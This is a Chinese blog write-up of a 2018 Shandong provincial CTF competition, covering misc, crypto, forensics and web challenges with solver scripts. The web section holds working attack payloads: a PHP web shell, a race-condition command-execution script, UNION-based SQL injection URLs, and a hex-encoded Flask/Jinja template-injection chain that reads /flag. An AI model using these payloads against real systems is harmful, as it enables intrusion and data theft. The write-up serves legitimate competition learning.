V0W's Blog

2018-科来杯-第七届山东省网络安全技能大赛WP

字数统计: 2,122阅读时长: 10 min
2018/11/04 Share

前言

参加一波2018科来杯的山东省赛,苟了个二等奖,( ̄▽ ̄)~*。就是两个题因为工具没准备好,没做出来,有点可惜,web3有思路,但是差一点,学习了。

我分类就不分那么细了。

Misc

神秘的文件

明文攻击

解压得到 doc

转成 zip,容易找到flag

ada

binwalk 发现有压缩包

foremost提取文件

zip 密码在属性里,这个点有点坑==、

hex => str

basic

打开文件,发现是三维数组,很明显是rgb,脚本画个图。

吐槽一下,135000个元素(非素数非平方==、), 这个长宽,我来回换了好多次==、

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#-*- coding:utf-8 -*-
from PIL import Image
import re

x = 45#x坐标 通过对txt里的行数进行整数分解
y = 1800#y坐标 x*y = 行数

im = Image.new("RGB",(x,y))#创建图片
file = open('basic.txt') #打开rbg值文件

#通过一个个rgb点生成图片
for i in range(0,x):
for j in range(0,y):
line = file.readline()#获取一行
line = line[1:-2]
rgb = line.split(",")#分离rgb
im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))#rgb转化为像素
im.save('res.png')
im.show()

进制转换

easy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# coding: utf-8
# 进制转换
# __author__: V0W
with open('text.txt','r') as f:
content = f.read().split()
#print content
res = ''
for i in content:
if 'x' in i:
intval = int('0'+i,16)
elif 'b' in i:
intval = int('0'+i,2)
elif 'o' in i:
intval = int('0'+i,8)
elif 'd' in i:
intval = int(i.replace('d',''))
res += chr(intval)
print res
with open('Diversity.txt','a') as r:
r.write("\n\n\n\n\n")
r.write(res)
r.close()

CrackIt

kali中有工具john(这次选择题还考到的)

1
flag{hellokitty}

colors

直接把每张图片再StegSlove里面看看,在别的通道中,容易发现提示信息MakeMeTall

联系png图片,就是说要改图片高度。

WinHex里面改一下,这里最好是改成正方形即400*400=0x0190

发现每张下面都有一部分黑点像素点,可以联系01二进制

刚好7张照片,我们知道ascii码的可打印字符,是7位二进制。

下面就是写个小脚本,弄一下就完事了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# __author__: V0W
# coding: utf-8
# env: python3

# # 根据图像得到对应的01序列
# # 从上到下依次是0-6.png
# s='''11111111010111101111
# 11111011111110111111
# 00001100101010110001
# 01001010010000001101
# 11010011011101010111
# 10011011011010110110
# 00111001101101111101'''

# ls = s.split('\n')
# # print(ls)

# # 将序列调整一下,竖着读,竖着读,竖着读!!!
# for j in range(0,20):
# for i in ls:
# print(i[j],end='')
# print('\n')

num = ['1100110','1101100','1100001','1100111','1111011','1010000',
'1101110','1100111','0110001','1101110','0110111','1100101','1110010',
'1000101','1110011','0110111','1101001','1101111','1100110','1111101']

flag = ''
for n in num:
flag += chr(int(str(n),2))

print(flag)

'''运行结果
flag{Png1n7erEs7iof}
[Finished in 0.5s]
'''

Crypto

affine

仿射加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# coding:utf-8
# a,b为y=ax+b的系数
# y = 17*x-8 flag{szzyfimhyzd} 答案格式:flag{********}
# Crypto为密文,res为明文,暴力破解得到,不用求取逆元
import string
crypto = "szzyfimhyzd"
a = 17
b = -8
word = string.ascii_lowercase
# print word
res = ''
for c in crypto:
for w in word:
if ord(c)-97 == ((ord(w)-97)*a + b)%26:
res += w
print res
# affineshift

RSA

比赛的时候没有安装好工具,很可惜(昨晚下了一半,就以为下好了,比赛才发现没有==、)

看到e特别大,容易想到高指数幂攻击或者说低解密指数攻击

参考这篇大佬的文章

利用这个rsa-wiener-attack

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator
def hack_RSA(e,n):
'''
Finds d knowing (e,n)
applying the Wiener continued fraction attack
'''
frac = ContinuedFractions.rational_to_contfrac(e, n)
convergents = ContinuedFractions.convergents_from_contfrac(frac)

for (k,d) in convergents:

#check if d is actually the key
if k!=0 and (e*d-1)%k == 0:
phi = (e*d-1)//k
s = n - phi + 1
# check if the equation x^2 - s*x + n = 0
# has integer roots
discr = s*s - 4*n
if(discr>=0):
t = Arithmetic.is_perfect_square(discr)
if t!=-1 and (s+t)%2==0:
print("Hacked!")
return d

c = 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192
e = 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619
n = 460657813884289609896372056585544172485318117026246263899744329237492701820627219556007788200590119136173895989001382151536006853823326382892363143604314518686388786002989248800814861248595075326277099645338694977097459168530898776007293695728101976069423971696524237755227187061418202849911479124793990722597

d=hack_RSA(e,n)
m=pow(c,d,n)
print '{:x}'.format(m).decode('hex')

forenisc

日志分析

我没什么好办法,手撕的==、

一个技巧是:利用sublime多行编辑(Ctrl+shift+L)删除多余的信息

最后,得到的flagascii码

1
102 108 97 103 123 115 113 108 109 52 112 95 49 53 95 112 48 119 101 114 102 117 108 125

小jio本写一下:

1
2
3
4
5
6
7
s = '102 108 97 103 123 115 113 108 109 52 112 95 49 53 95 112 48 119 101 114 102 117 108 125'
ls = s.split(' ')
# print ls
flag = ''
for i in ls:
flag += chr(int(i))
print flag

特殊后门

提示说特殊的协议,发现icmp中有东西 : )

后面,每个小的数据包都有一个字节的数据,最后合起来就是flag(吐槽一下,infomation的拼法)

1
flag{Icmp_backdoor_can_transfer-some_infomation}

weblogic

搜索hostname,

追踪一个流,再次搜索hostname

提示hostname是十六进制,容易看到。

Web

Web1

XFF+cookie

Web2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

include 'here.php';
$key = 'kelaibei';

if(isset($_GET['id'])){
$id = $_GET['id'];
@parse_str($id);
if ($key[99] != 'aabg7XSs' && md5($key[99]) == md5('aabg7XSs')) {
echo $hint;
}
else{
echo 'try again';
}
}
else{
show_source(__FILE__);
}

@parse_str($id);解析变量

php弱类型+变量覆盖

payload

1
http://192.168.100.243:2002/?id=key[99]=QNKCDZO

得到链接 http://192.168.100.243:2002/upl04d50m3thing.php

1
2
3
4
5
6
7
8
Filename:  qqq.php
Content: <?php eval($_POST["v"]);

返回
uploads/e6ce11ded480d904ea8c3b30b00a23ab9bb59119/qqq.php

访问得到返回
Tooslow

容易得到结论:

后台的处理大概是: file_put_content,然后sleep(1)echo 'TooSlow'

可以用条件竞争(或类似)一个脚本在这跑,然后去写shell,会在post filename和content瞬间访问到,

据说访问到就会返回flag。

1
2
3
4
5
6
7
8
import requests

url = 'http://192.168.100.243:2002/uploads/e6ce11ded480d904ea8c3b30b00a23ab9bb59119/v.php'

postdata = {'v': "system('ls');"}
while True:
r = requests.post(url,data=postdata)
print r.text

web3

11-5 表哥复现了一下环境,于是复现学习一下。好题,妙啊!!

收集信息

首先,收集一下信息:测试发现

Add a Comment

UsernameComment都有长度限制,一旦超过长度限制,就会报错Mysql Error.

Search Comments

没有长度限制,存在明显的注入点,有过滤,敏感词汇或者SQL语法错误都会报错Mysql Error.

注入测试

1
union select 1,2,3 #

容易得到回显字段和列数(3)

这里非常可惜,我比赛时,用hackbar传数据,结果# 没传过去,当时以为是过滤了union和select 在那疯狂绕过啊=====、fo了,# urlencode传输就可以了、、哎、真菜啊

接下来是基本操作了,直接放payload 和 结果

数据库名

1
2
3
http://47.105.148.65:29003/?username=' union select 1,2,database() %23

ctf

表名

1
2
3
http://47.105.148.65:29003/?username=' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database() %23

comment

列名

1
2
3
http://47.105.148.65:29003/?username=' union select 1,2, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='comment' %23

id,username,comment

一看列名,我也感觉到好像没什么东西(没有一般SQL注入题目的flag列之类的)

但是,当我抱着试一试的心理使用这个payload时:

1
http://47.105.148.65:29003/?username=' union select 1,2, group_concat(comment) from comment%23

发生了神奇的一幕

render 这不是模板渲染函数吗

结合flask,确实可能存在SSTI模板注入漏洞!

于是开始尝试SSTI的思路。

flask 模板注入测试

两篇大佬的文章,可以参考一下

Flask/Jinja 模板注入

用python继承链搞事情

直接

1
http://47.105.148.65:29003/?username=' union select 1,2,{{1+1}} %23

会出错

用16进制可以绕过。

1
http://47.105.148.65:29003/?username=' union select 1,2,0x7b7b312b317d7d %23

看来思路是对的,可以绕过并且有效

继续

1
2
3
http://47.105.148.65:29003/?username=' union select 1,2,0x7b7b27272e5f5f636c6173735f5f7d7d %23

<type 'str'>

看看有哪些可以用的函数

1
http://47.105.148.65:29003/?username=' union select 1,2,0x7b7b28292e5f5f636c6173735f5f2e5f5f62617365735f5f5b305d2e5f5f737562636c61737365735f5f28295b35395d2e5f5f696e69745f5f2e5f5f676c6f62616c735f5f2e5f5f6275696c74696e735f5f7d7d %23

我尝试eval函数执行命令,但是似乎有问题总是返回0,哪位大佬成功了,麻烦联系一下我,我学习一下大佬的姿势。

于是使用open()函数读取flag

最终payload

1
2
3
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/flag').read()}}

http://47.105.148.65:29003/?username=' union select 1,2,0x7b7b28292e5f5f636c6173735f5f2e5f5f62617365735f5f5b305d2e5f5f737562636c61737365735f5f28295b35395d2e5f5f696e69745f5f2e5f5f676c6f62616c735f5f2e5f5f6275696c74696e735f5f5b276f70656e275d28272f666c616727292e7265616428297d7d %23

比赛时,失误太多了,其实我也有想到模板注入(毕竟提示flask),也想到SQL注入,但是硬是没做出来,太菜了==、学习了学习了

CATALOG
  1. 1. 前言
  2. 2. Misc
    1. 2.1. 神秘的文件
    2. 2.2. ada
    3. 2.3. basic
    4. 2.4. 进制转换
    5. 2.5. CrackIt
    6. 2.6. colors
  3. 3. Crypto
    1. 3.1. affine
    2. 3.2. RSA
  4. 4. forenisc
    1. 4.1. 日志分析
    2. 4.2. 特殊后门
    3. 4.3. weblogic
  5. 5. Web
    1. 5.1. Web1
    2. 5.2. Web2
    3. 5.3. web3
      1. 5.3.1. 收集信息
      2. 5.3.2. 注入测试
      3. 5.3.3. flask 模板注入测试